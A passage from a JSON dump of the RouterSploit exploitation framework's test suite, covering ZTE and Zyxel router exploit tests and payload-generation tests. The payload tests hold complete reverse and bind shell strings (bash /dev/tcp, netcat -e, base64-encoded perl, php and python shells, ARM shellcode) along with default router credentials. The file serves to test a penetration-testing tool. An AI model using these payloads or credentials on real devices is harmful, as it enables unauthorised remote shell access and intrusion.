language=javascript>Transfer_meaning('Standard','b\\x2cg\\x2cn');</script>\"\n        \"<script language=javascript>Transfer_meaning('BeaconInterval','100');</script>\"\n        \"<script language=javascript>Transfer_meaning('RtsCts','2347');</script>\"\n        \"<script language=javascript>Transfer_meaning('Fragment','2346');</script>\"\n        \"<script language=javascript>Transfer_meaning('DTIM','1');</script>\"\n        \"<script language=javascript>Transfer_meaning('TxPower','100\\x25');</script>\"\n        \"<script language=javascript>Transfer_meaning('CountryCode','egI');</script>\"\n        \"<script language=javascript>Transfer_meaning('TxRate','Auto');</script>\"\n        \"<script language=javascript>Transfer_meaning('Channel','1');</script>\"\n        \"<script language=javascript>Transfer_meaning('ESSID','SSID Name');</script>\"\n        \"<script language=javascript>Transfer_meaning('ESSIDPrefix','');</script>\"\n        \"<script language=javascript>Transfer_meaning('ACLPolicy','Disabled');</script>\"\n        \"<script language=javascript>Transfer_meaning('BeaconType','WPAand11i');</script>\"\n        \"(..)\"\n    )\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/zte/test_zxv10_rce.py",
    "content": "from unittest import mock\nfrom routersploit.modules.exploits.routers.zte.zxv10_rce import Exploit\n\n\n@mock.patch(\"routersploit.modules.exploits.routers.zte.zxv10_rce.shell\")\ndef test_check_success(mocked_shell, target):\n    \"\"\" Test scenario - successful check \"\"\"\n\n    route_mock_v1 = target.get_route_mock(\"/\", methods=[\"GET\"])\n    route_mock_v1.return_value = (\n        \"TEST\"\n        \"Frm_Logintoken\\\").value = \\\"(.*)\\\";\"\n        \"TEST\"\n    )\n\n    route_mock_v2 = target.get_route_mock(\"/login.gch\", methods=[\"POST\"])\n    route_mock_v2.return_value = (\n        \"TEST\"\n    )\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n    assert exploit.username == \"root\"\n    assert exploit.password == \"W!n0&oO7.\"\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/zyxel/__init__.py",
    "content": ""
  },
  {
    "path": "tests/exploits/routers/zyxel/test_d1000_rce.py",
    "content": "from unittest import mock\nfrom flask import Response\nfrom routersploit.modules.exploits.routers.zyxel.d1000_rce import Exploit\n\n\ndef apply_response(*args, **kwargs):\n    resp = Response(\"TEST home_wan.htm TEST\", status=404)\n    return resp\n\n\n@mock.patch(\"routersploit.modules.exploits.routers.zyxel.d1000_rce.shell\")\ndef test_check_success(mocked_shell, target):\n    \"\"\" Test scenario - successful check \"\"\"\n\n    route_mock = target.get_route_mock(\"/globe\", methods=[\"GET\"])\n    route_mock.side_effect = apply_response\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 7547\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/zyxel/test_d1000_wifi_password_disclosure.py",
    "content": "from routersploit.modules.exploits.routers.zyxel.d1000_wifi_password_disclosure import Exploit\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - successful check \"\"\"\n\n    route_mock = target.get_route_mock(\"/UD/act\", methods=[\"POST\"])\n    route_mock.return_value = (\n        \"TEST\"\n        \"<NewPreSharedKey>Admin1234</NewPreSharedKey>\"\n        \"TEST\"\n    )\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 7547\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/zyxel/test_p660hn_t_v1_rce.py",
    "content": "from unittest import mock\nfrom routersploit.modules.exploits.routers.zyxel.p660hn_t_v1_rce import Exploit\n\n\n@mock.patch(\"routersploit.modules.exploits.routers.zyxel.p660hn_t_v1_rce.shell\")\ndef test_check_success(mocked_shell, target):\n    \"\"\" Test scenario - successful check \"\"\"\n\n    route_mock = target.get_route_mock(\"/cgi-bin/authorize.asp\", methods=[\"GET\"])\n    route_mock.return_value = (\n        \"TEST\"\n        \"ZyXEL P-660HN-T1A\"\n        \"TEST\"\n    )\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/zyxel/test_p660hn_t_v2_rce.py",
    "content": "from unittest import mock\nfrom routersploit.modules.exploits.routers.zyxel.p660hn_t_v2_rce import Exploit\n\n\n@mock.patch(\"routersploit.modules.exploits.routers.zyxel.p660hn_t_v2_rce.shell\")\ndef test_check_success(mocked_shell, target):\n    \"\"\" Test scenario - successful check \"\"\"\n\n    route_mock = target.get_route_mock(\"/js/Multi_Language.js\", methods=[\"GET\"])\n    route_mock.return_value = (\n        \"TEST\"\n        \"P-660HN-T1A_IPv6\"\n        \"TEST\"\n    )\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n    assert exploit.username == \"supervisor\"\n    assert exploit.password == \"zyad1234\"\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/zyxel/test_zywall_usg_extract_hashes.py",
    "content": "from routersploit.modules.exploits.routers.zyxel.zywall_usg_extract_hashes import Exploit\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - successful check \"\"\"\n\n    route_mock = target.get_route_mock(\"/cgi-bin/export-cgi/images/\", methods=[\"GET\"])\n    route_mock.return_value = (\n        \"TEST\\n\"\n        \"username TEST password TEST user-type TEST\\n\"\n        \"TEST\\n\"\n    )\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 443\n    assert exploit.ssl is True\n\n    exploit.target = target.host\n    exploit.port = target.port\n    exploit.ssl = \"false\"\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/generic/__init__.py",
    "content": ""
  },
  {
    "path": "tests/generic/upnp/test_ssdp_msearch.py",
    "content": "from routersploit.modules.generic.upnp.ssdp_msearch import Exploit\n\n\ndef test_check_success(udp_target):\n    \"\"\" Test scenario - successful check \"\"\"\n\n    request = (\n        \"M-SEARCH * HTTP/1.1\\r\\n\" +\n        \"HOST: {}:{}\\r\\n\".format(udp_target.host, udp_target.port) +\n        \"MAN: \\\"ssdp:discover\\\"\\r\\n\" +\n        \"MX: 2\\r\\n\" +\n        \"ST: upnp:rootdevice\\r\\n\\r\\n\"\n    )\n    request = bytes(request, \"utf-8\")\n\n    response = (\n        b\"HTTP/1.1 200 OK\\r\\n\"\n        b\"CACHE-CONTROL: max-age=120\\r\\n\"\n        b\"ST: upnp:rootdevice\\r\\n\"\n        b\"USN: uuid:0ef8055a-8850-47b8-ac43-91f41fdd8d83::upnp:rootdevice\\r\\n\"\n        b\"EXT:\\r\\n\"\n        b\"SERVER: AsusWRT/3.0.0.4 UPnP/1.1 MiniUPnPd/1.9\\r\\n\"\n        b\"LOCATION: http://192.168.2.1:48611/rootDesc.xml\\r\\n\"\n        b\"OPT: \\\"http://schemas.upnp.org/upnp/1/0/\\\"; ns=01\\r\\n\"\n        b\"01-NLS: 1\\r\\n\"\n        b\"BOOTID.UPNP.ORG: 1\\r\\n\"\n        b\"CONFIGID.UPNP.ORG: 1337\\r\\n\\r\\n\"\n    )\n\n    command_mock = udp_target.get_command_mock(request)\n    command_mock.return_value = response\n\n    exploit = Exploit()\n    exploit.target = udp_target.host\n    exploit.port = udp_target.port\n\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/payloads/__init__.py",
    "content": ""
  },
  {
    "path": "tests/payloads/armle/__init__.py",
    "content": ""
  },
  {
    "path": "tests/payloads/armle/test_bind_tcp.py",
    "content": "from routersploit.modules.payloads.armle.bind_tcp import Payload\n\n\n# armle bind tcp payload with rport=4321\nbind_tcp = (\n    b\"\\x02\\x00\\xa0\\xe3\\x01\\x10\\xa0\\xe3\\x06\\x20\\xa0\\xe3\\x07\\x00\\x2d\"\n    b\"\\xe9\\x01\\x00\\xa0\\xe3\\x0d\\x10\\xa0\\xe1\\x66\\x00\\x90\\xef\\x0c\\xd0\"\n    b\"\\x8d\\xe2\\x00\\x60\\xa0\\xe1\\xe1\\x10\\xa0\\xe3\\x10\\x70\\xa0\\xe3\\x01\"\n    b\"\\x1c\\xa0\\xe1\\x07\\x18\\x81\\xe0\\x02\\x10\\x81\\xe2\\x02\\x20\\x42\\xe0\"\n    b\"\\x06\\x00\\x2d\\xe9\\x0d\\x10\\xa0\\xe1\\x10\\x20\\xa0\\xe3\\x07\\x00\\x2d\"\n    b\"\\xe9\\x02\\x00\\xa0\\xe3\\x0d\\x10\\xa0\\xe1\\x66\\x00\\x90\\xef\\x14\\xd0\"\n    b\"\\x8d\\xe2\\x06\\x00\\xa0\\xe1\\x03\\x00\\x2d\\xe9\\x04\\x00\\xa0\\xe3\\x0d\"\n    b\"\\x10\\xa0\\xe1\\x66\\x00\\x90\\xef\\x08\\xd0\\x8d\\xe2\\x06\\x00\\xa0\\xe1\"\n    b\"\\x01\\x10\\x41\\xe0\\x02\\x20\\x42\\xe0\\x07\\x00\\x2d\\xe9\\x05\\x00\\xa0\"\n    b\"\\xe3\\x0d\\x10\\xa0\\xe1\\x66\\x00\\x90\\xef\\x0c\\xd0\\x8d\\xe2\\x00\\x60\"\n    b\"\\xa0\\xe1\\x02\\x10\\xa0\\xe3\\x06\\x00\\xa0\\xe1\\x3f\\x00\\x90\\xef\\x01\"\n    b\"\\x10\\x51\\xe2\\xfb\\xff\\xff\\x5a\\x04\\x10\\x4d\\xe2\\x02\\x20\\x42\\xe0\"\n    b\"\\x2f\\x30\\xa0\\xe3\\x62\\x70\\xa0\\xe3\\x07\\x34\\x83\\xe0\\x69\\x70\\xa0\"\n    b\"\\xe3\\x07\\x38\\x83\\xe0\\x6e\\x70\\xa0\\xe3\\x07\\x3c\\x83\\xe0\\x2f\\x40\"\n    b\"\\xa0\\xe3\\x73\\x70\\xa0\\xe3\\x07\\x44\\x84\\xe0\\x68\\x70\\xa0\\xe3\\x07\"\n    b\"\\x48\\x84\\xe0\\x73\\x50\\xa0\\xe3\\x68\\x70\\xa0\\xe3\\x07\\x54\\x85\\xe0\"\n    b\"\\x3e\\x00\\x2d\\xe9\\x08\\x00\\x8d\\xe2\\x00\\x10\\x8d\\xe2\\x04\\x20\\x8d\"\n    b\"\\xe2\\x0b\\x00\\x90\\xef\"\n)\n\n# elf armle bind tcp\nelf_armle_bind_tcp = (\n    b\"\\x7f\\x45\\x4c\\x46\\x01\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n    b\"\\x00\\x02\\x00\\x28\\x00\\x01\\x00\\x00\\x00\\x54\\x80\\x00\\x00\\x34\\x00\"\n    b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x34\\x00\\x20\\x00\\x01\"\n    b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n    b\"\\x00\\x80\\x00\\x00\\x00\\x80\\x00\\x00\\x58\\x01\\x00\\x00\\x5c\\x02\\x00\"\n    b\"\\x00\\x07\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x02\\x00\\xa0\\xe3\\x01\\x10\"\n    b\"\\xa0\\xe3\\x06\\x20\\xa0\\xe3\\x07\\x00\\x2d\\xe9\\x01\\x00\\xa0\\xe3\\x0d\"\n    b\"\\x10\\xa0\\xe1\\x66\\x00\\x90\\xef\\x0c\\xd0\\x8d\\xe2\\x00\\x60\\xa0\\xe1\"\n    b\"\\xe1\\x10\\xa0\\xe3\\x10\\x70\\xa0\\xe3\\x01\\x1c\\xa0\\xe1\\x07\\x18\\x81\"\n    b\"\\xe0\\x02\\x10\\x81\\xe2\\x02\\x20\\x42\\xe0\\x06\\x00\\x2d\\xe9\\x0d\\x10\"\n    b\"\\xa0\\xe1\\x10\\x20\\xa0\\xe3\\x07\\x00\\x2d\\xe9\\x02\\x00\\xa0\\xe3\\x0d\"\n    b\"\\x10\\xa0\\xe1\\x66\\x00\\x90\\xef\\x14\\xd0\\x8d\\xe2\\x06\\x00\\xa0\\xe1\"\n    b\"\\x03\\x00\\x2d\\xe9\\x04\\x00\\xa0\\xe3\\x0d\\x10\\xa0\\xe1\\x66\\x00\\x90\"\n    b\"\\xef\\x08\\xd0\\x8d\\xe2\\x06\\x00\\xa0\\xe1\\x01\\x10\\x41\\xe0\\x02\\x20\"\n    b\"\\x42\\xe0\\x07\\x00\\x2d\\xe9\\x05\\x00\\xa0\\xe3\\x0d\\x10\\xa0\\xe1\\x66\"\n    b\"\\x00\\x90\\xef\\x0c\\xd0\\x8d\\xe2\\x00\\x60\\xa0\\xe1\\x02\\x10\\xa0\\xe3\"\n    b\"\\x06\\x00\\xa0\\xe1\\x3f\\x00\\x90\\xef\\x01\\x10\\x51\\xe2\\xfb\\xff\\xff\"\n    b\"\\x5a\\x04\\x10\\x4d\\xe2\\x02\\x20\\x42\\xe0\\x2f\\x30\\xa0\\xe3\\x62\\x70\"\n    b\"\\xa0\\xe3\\x07\\x34\\x83\\xe0\\x69\\x70\\xa0\\xe3\\x07\\x38\\x83\\xe0\\x6e\"\n    b\"\\x70\\xa0\\xe3\\x07\\x3c\\x83\\xe0\\x2f\\x40\\xa0\\xe3\\x73\\x70\\xa0\\xe3\"\n    b\"\\x07\\x44\\x84\\xe0\\x68\\x70\\xa0\\xe3\\x07\\x48\\x84\\xe0\\x73\\x50\\xa0\"\n    b\"\\xe3\\x68\\x70\\xa0\\xe3\\x07\\x54\\x85\\xe0\\x3e\\x00\\x2d\\xe9\\x08\\x00\"\n    b\"\\x8d\\xe2\\x00\\x10\\x8d\\xe2\\x04\\x20\\x8d\\xe2\\x0b\\x00\\x90\\xef\"\n)\n\n\ndef test_payload_generation():\n    \"\"\" Test scenario - payload generation \"\"\"\n\n    payload = Payload()\n    payload.rport = 4321\n\n    assert payload.generate() == bind_tcp\n    assert payload.generate_elf(bind_tcp) == elf_armle_bind_tcp\n"
  },
  {
    "path": "tests/payloads/armle/test_reverse_tcp.py",
    "content": "from routersploit.modules.payloads.armle.reverse_tcp import Payload\n\n\n# armle reverse tcp with lhost=192.168.1.4  lport=4321\nreverse_tcp = (\n    b\"\\x01\\x10\\x8f\\xe2\\x11\\xff\\x2f\\xe1\\x02\\x20\\x01\\x21\\x92\\x1a\\x0f\"\n    b\"\\x02\\x19\\x37\\x01\\xdf\\x06\\x1c\\x08\\xa1\\x10\\x22\\x02\\x37\\x01\\xdf\"\n    b\"\\x3f\\x27\\x02\\x21\\x30\\x1c\\x01\\xdf\\x01\\x39\\xfb\\xd5\\x05\\xa0\\x92\"\n    b\"\\x1a\\x05\\xb4\\x69\\x46\\x0b\\x27\\x01\\xdf\\xc0\\x46\\x02\\x00\\x10\\xe1\"\n    b\"\\xc0\\xa8\\x01\\x04\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\\x00\"\n)\n\n# elf armle reverse tcp\nelf_armle_reverse_tcp = (\n    b\"\\x7f\\x45\\x4c\\x46\\x01\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n    b\"\\x00\\x02\\x00\\x28\\x00\\x01\\x00\\x00\\x00\\x54\\x80\\x00\\x00\\x34\\x00\"\n    b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x34\\x00\\x20\\x00\\x01\"\n    b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n    b\"\\x00\\x80\\x00\\x00\\x00\\x80\\x00\\x00\\x9c\\x00\\x00\\x00\\xe4\\x00\\x00\"\n    b\"\\x00\\x07\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x01\\x10\\x8f\\xe2\\x11\\xff\"\n    b\"\\x2f\\xe1\\x02\\x20\\x01\\x21\\x92\\x1a\\x0f\\x02\\x19\\x37\\x01\\xdf\\x06\"\n    b\"\\x1c\\x08\\xa1\\x10\\x22\\x02\\x37\\x01\\xdf\\x3f\\x27\\x02\\x21\\x30\\x1c\"\n    b\"\\x01\\xdf\\x01\\x39\\xfb\\xd5\\x05\\xa0\\x92\\x1a\\x05\\xb4\\x69\\x46\\x0b\"\n    b\"\\x27\\x01\\xdf\\xc0\\x46\\x02\\x00\\x10\\xe1\\xc0\\xa8\\x01\\x04\\x2f\\x62\"\n    b\"\\x69\\x6e\\x2f\\x73\\x68\\x00\"\n)\n\n\ndef test_payload_generation():\n    \"\"\" Test scenario - payload generation \"\"\"\n\n    payload = Payload()\n    payload.lhost = \"192.168.1.4\"\n    payload.lport = 4321\n\n    assert payload.generate() == reverse_tcp\n    assert payload.generate_elf(reverse_tcp) == elf_armle_reverse_tcp\n"
  },
  {
    "path": "tests/payloads/cmd/__init__.py",
    "content": ""
  },
  {
    "path": "tests/payloads/cmd/test_awk_bind_tcp.py",
    "content": "from routersploit.modules.payloads.cmd.awk_bind_tcp import Payload\n\n\n# awk bind tcp payload with rport=4321\nbind_tcp = (\n    \"awk 'BEGIN{s=\\\"/inet/tcp/4321/0/0\\\";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'\"\n)\n\n\ndef test_payload_generation():\n    \"\"\" Test scenario - payload generation \"\"\"\n\n    payload = Payload()\n    payload.rport = 4321\n\n    assert payload.run() == bind_tcp\n"
  },
  {
    "path": "tests/payloads/cmd/test_awk_bind_udp.py",
    "content": "from routersploit.modules.payloads.cmd.awk_bind_udp import Payload\n\n\n# awk bind udp payload with rport=4321\nbind_udp = (\n    \"awk 'BEGIN{s=\\\"/inet/udp/4321/0/0\\\";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'\"\n)\n\n\ndef test_payload_generation():\n    \"\"\" Test scenario - payload generation \"\"\"\n\n    payload = Payload()\n    payload.rport = 4321\n\n    assert payload.run() == bind_udp\n"
  },
  {
    "path": "tests/payloads/cmd/test_awk_reverse_tcp.py",
    "content": "from routersploit.modules.payloads.cmd.awk_reverse_tcp import Payload\n\n\n# awk reverse tcp payload with lhost=192.168.1.4 lport=4321\nreverse_tcp = (\n    \"awk 'BEGIN{s=\\\"/inet/tcp/0/192.168.1.4/4321\\\";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)};'\"\n)\n\n\ndef test_payload_generation():\n    \"\"\" Test scenario - payload generation \"\"\"\n\n    payload = Payload()\n    payload.lhost = \"192.168.1.4\"\n    payload.lport = 4321\n\n    assert payload.run() == reverse_tcp\n"
  },
  {
    "path": "tests/payloads/cmd/test_bash_reverse_tcp.py",
    "content": "from routersploit.modules.payloads.cmd.bash_reverse_tcp import Payload\n\n\n# bash reverse tcp payload with lhost=192.168.1.4 lport=4321\nreverse_tcp = (\n    \"bash -i >& /dev/tcp/192.168.1.4/4321 0>&1\"\n)\n\n\ndef test_payload_generation():\n    \"\"\" Test scenario - payload generation \"\"\"\n\n    payload = Payload()\n    payload.lhost = \"192.168.1.4\"\n    payload.lport = 4321\n\n    assert payload.run() == reverse_tcp\n"
  },
  {
    "path": "tests/payloads/cmd/test_netcat_bind_tcp.py",
    "content": "from routersploit.modules.payloads.cmd.netcat_bind_tcp import Payload\n\n\n# netcat bind tcp payload with rport=4321\nbind_tcp = (\n    \"nc -lvp 4321 -e /bin/sh\"\n)\n\n\ndef test_payload_generation():\n    \"\"\" Test scenario - payload generation \"\"\"\n\n    payload = Payload()\n    payload.rport = 4321\n\n    assert payload.run() == bind_tcp\n"
  },
  {
    "path": "tests/payloads/cmd/test_netcat_reverse_tcp.py",
    "content": "from routersploit.modules.payloads.cmd.netcat_reverse_tcp import Payload\n\n\n# netcat reverse tcp payload with lhost=192.168.1.4 lport=4321\nreverse_tcp = (\n    \"nc 192.168.1.4 4321 -e /bin/sh\"\n)\n\n\ndef test_payload_generation():\n    \"\"\" Test scenario - payload generation \"\"\"\n\n    payload = Payload()\n    payload.lhost = \"192.168.1.4\"\n    payload.lport = 4321\n\n    assert payload.run() == reverse_tcp\n"
  },
  {
    "path": "tests/payloads/cmd/test_perl_bind_tcp.py",
    "content": "from routersploit.modules.payloads.cmd.perl_bind_tcp import Payload\n\n\n# perl bind tcp payload with rport=4321\nbind_tcp = (\n    \"perl -MIO -e \\\"use MIME::Base64;eval(decode_base64('dXNlIElPO2ZvcmVhY2ggbXkgJGtleShrZXlzICVFTlYpe2lmKCRFTlZ7JGtleX09fi8oLiopLyl7JEVOVnska2V5fT0kMTt9fSRjPW5ldyBJTzo6U29ja2V0OjpJTkVUKExvY2FsUG9ydCw0MzIxLFJldXNlLDEsTGlzdGVuKS0+YWNjZXB0OyR+LT5mZG9wZW4oJGMsdyk7U1RESU4tPmZkb3BlbigkYyxyKTt3aGlsZSg8Pil7aWYoJF89fiAvKC4qKS8pe3N5c3RlbSAkMTt9fTs='));\\\"\"\n)\n\n\ndef test_payload_generation():\n    \"\"\" Test scenario - payload generation \"\"\"\n\n    payload = Payload()\n    payload.rport = 4321\n\n    assert payload.run() == bind_tcp\n"
  },
  {
    "path": "tests/payloads/cmd/test_perl_reverse_tcp.py",
    "content": "from routersploit.modules.payloads.cmd.perl_reverse_tcp import Payload\n\n\n# perl reverse udp payload with lhost=192.168.1.4 lport=4321\nreverse_tcp = (\n    \"perl -MIO -e \\\"use MIME::Base64;eval(decode_base64('dXNlIElPO2ZvcmVhY2ggbXkgJGtleShrZXlzICVFTlYpe2lmKCRFTlZ7JGtleX09fi8oLiopLyl7JEVOVnska2V5fT0kMTt9fSRjPW5ldyBJTzo6U29ja2V0OjpJTkVUKFBlZXJBZGRyLCIxOTIuMTY4LjEuNDo0MzIxIik7U1RESU4tPmZkb3BlbigkYyxyKTskfi0+ZmRvcGVuKCRjLHcpO3doaWxlKDw+KXtpZigkXz1+IC8oLiopLyl7c3lzdGVtICQxO319Ow=='));\\\"\"\n)\n\n\ndef test_payload_generation():\n    \"\"\" Test scenario - payload generation \"\"\"\n\n    payload = Payload()\n    payload.lhost = \"192.168.1.4\"\n    payload.lport = 4321\n\n    assert payload.run() == reverse_tcp\n"
  },
  {
    "path": "tests/payloads/cmd/test_php_bind_tcp.py",
    "content": "from routersploit.modules.payloads.cmd.php_bind_tcp import Payload\n\n\n# php bind tcp payload with rport=4321\nbind_tcp = (\n    \"php -r \\\"eval(base64_decode('JHM9c29ja2V0X2NyZWF0ZShBRl9JTkVULFNPQ0tfU1RSRUFNLFNPTF9UQ1ApO3NvY2tldF9iaW5kKCRzLCIwLjAuMC4wIiw0MzIxKTtzb2NrZXRfbGlzdGVuKCRzLDEpOyRjbD1zb2NrZXRfYWNjZXB0KCRzKTt3aGlsZSgxKXtpZighc29ja2V0X3dyaXRlKCRjbCwiJCAiLDIpKWV4aXQ7JGluPXNvY2tldF9yZWFkKCRjbCwxMDApOyRjbWQ9cG9wZW4oIiRpbiIsInIiKTt3aGlsZSghZmVvZigkY21kKSl7JG09ZmdldGMoJGNtZCk7c29ja2V0X3dyaXRlKCRjbCwkbSxzdHJsZW4oJG0pKTt9fQ=='));\\\"\"\n)\n\n\ndef test_payload_generation():\n    \"\"\" Test scenario - payload generation \"\"\"\n\n    payload = Payload()\n    payload.rport = 4321\n\n    assert payload.run() == bind_tcp\n"
  },
  {
    "path": "tests/payloads/cmd/test_php_reverse_tcp.py",
    "content": "from routersploit.modules.payloads.cmd.php_reverse_tcp import Payload\n\n\n# php reverse udp payload with lhost=192.168.1.4 lport=4321\nreverse_tcp = (\n    \"php -r \\\"eval(base64_decode('JHM9ZnNvY2tvcGVuKCJ0Y3A6Ly8xOTIuMTY4LjEuNCIsNDMyMSk7d2hpbGUoIWZlb2YoJHMpKXtleGVjKGZnZXRzKCRzKSwkbyk7JG89aW1wbG9kZSgiXG4iLCRvKTskby49IlxuIjtmcHV0cygkcywkbyk7fQ=='));\\\"\"\n)\n\n\ndef test_payload_generation():\n    \"\"\" Test scenario - payload generation \"\"\"\n\n    payload = Payload()\n    payload.lhost = \"192.168.1.4\"\n    payload.lport = 4321\n\n    assert payload.run() == reverse_tcp\n"
  },
  {
    "path": "tests/payloads/cmd/test_python_bind_tcp.py",
    "content": "from routersploit.modules.payloads.cmd.python_bind_tcp import Payload\n\n\n# python bind tcp payload with rport=4321\nbind_tcp = (\n    \"python -c \\\"exec('aW1wb3J0IHNvY2tldCxvcwpzbz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSkKc28uYmluZCgoJzAuMC4wLjAnLDQzMjEpKQpzby5saXN0ZW4oMSkKc28sYWRkcj1zby5hY2NlcHQoKQp4PUZhbHNlCndoaWxlIG5vdCB4OgoJZGF0YT1zby5yZWN2KDEwMjQpCglzdGRpbixzdGRvdXQsc3RkZXJyLD1vcy5wb3BlbjMoZGF0YSkKCXN0ZG91dF92YWx1ZT1zdGRvdXQucmVhZCgpK3N0ZGVyci5yZWFkKCkKCXNvLnNlbmQoc3Rkb3V0X3ZhbHVlKQo='.decode('base64'))\\\"\"\n)\n\n\ndef test_payload_generation():\n    \"\"\" Test scenario - payload generation \"\"\"\n\n    payload = Payload()\n    payload.rport = 4321\n\n    assert payload.run() == bind_tcp\n"
  },
  {
    "path": "tests/payloads/cmd/test_python_bind_udp.py",
    "content": "from routersploit.modules.payloads.cmd.python_bind_udp import Payload\n\n\n# python bind udp payload with rport=4321\nbind_udp = (\n    \"python -c \\\"exec('ZnJvbSBzdWJwcm9jZXNzIGltcG9ydCBQb3BlbixQSVBFCmZyb20gc29ja2V0IGltcG9ydCBzb2NrZXQsIEFGX0lORVQsIFNPQ0tfREdSQU0Kcz1zb2NrZXQoQUZfSU5FVCxTT0NLX0RHUkFNKQpzLmJpbmQoKCcwLjAuMC4wJyw0MzIxKSkKd2hpbGUgMToKCWRhdGEsYWRkcj1zLnJlY3Zmcm9tKDEwMjQpCglvdXQ9UG9wZW4oZGF0YSxzaGVsbD1UcnVlLHN0ZG91dD1QSVBFLHN0ZGVycj1QSVBFKS5jb21tdW5pY2F0ZSgpCglzLnNlbmR0bygnJy5qb2luKFtvdXRbMF0sb3V0WzFdXSksYWRkcikK'.decode('base64'))\\\"\"\n)\n\n\ndef test_payload_generation():\n    \"\"\" Test scenario - payload generation \"\"\"\n\n    payload = Payload()\n    payload.rport = 4321\n\n    assert payload.run() == bind_udp\n"
  },
  {
    "path": "tests/payloads/cmd/test_python_reverse_tcp.py",
    "content": "from routersploit.modules.payloads.cmd.python_reverse_tcp import Payload\n\n\n# python reverse tcp payload with lhost=192.168.1.4 lport=4321\nreverse_tcp = (\n    \"python -c \\\"exec('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zCnM9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pCnMuY29ubmVjdCgoJzE5Mi4xNjguMS40Jyw0MzIxKSkKb3MuZHVwMihzLmZpbGVubygpLDApCm9zLmR1cDIocy5maWxlbm8oKSwxKQpvcy5kdXAyKHMuZmlsZW5vKCksMikKcD1zdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwiLWkiXSk='.decode('base64'))\\\"\"\n)\n\n\ndef test_payload_generation():\n    \"\"\" Test scenario - payload generation \"\"\"\n\n    payload = Payload()\n    payload.lhost = \"192.168.1.4\"\n    payload.lport = 4321\n\n    assert payload.run() == reverse_tcp\n"
  },
  {
    "path": "tests/payloads/cmd/test_python_reverse_udp.py",
    "content": "from routersploit.modules.payloads.cmd.python_reverse_udp import Payload\n\n\n# python reverse udp payload with lhost=192.168.1.4 lport=4321\nreverse_udp = (\n    \"python -c \\\"exec('aW1wb3J0IG9zCmltcG9ydCBwdHkKaW1wb3J0IHNvY2tldApzPXNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsIHNvY2tldC5TT0NLX0RHUkFNKQpzLmNvbm5lY3QoKCcxOTIuMTY4LjEuNCcsNDMyMSkpCm9zLmR1cDIocy5maWxlbm8oKSwgMCkKb3MuZHVwMihzLmZpbGVubygpLCAxKQpvcy5kdXAyKHMuZmlsZW5vKCksIDIpCnB0eS5zcGF3bignL2Jpbi9zaCcpOwpzLmNsb3NlKCkK'.decode('base64'))\\\"\"\n)\n\n\ndef test_payload_generation():\n    \"\"\" Test scenario - payload generation \"\"\"\n\n    payload = Payload()\n    payload.lhost = \"192.168.1.4\"\n    payload.lport = 4321\n\n    assert payload.run() == reverse_udp\n"
  },
  {
    "path": "tests/payloads/mipsbe/__init__.py",
    "content": ""
  },
  {
    "path": "tests/payloads/mipsbe/test_bind_tcp.py",
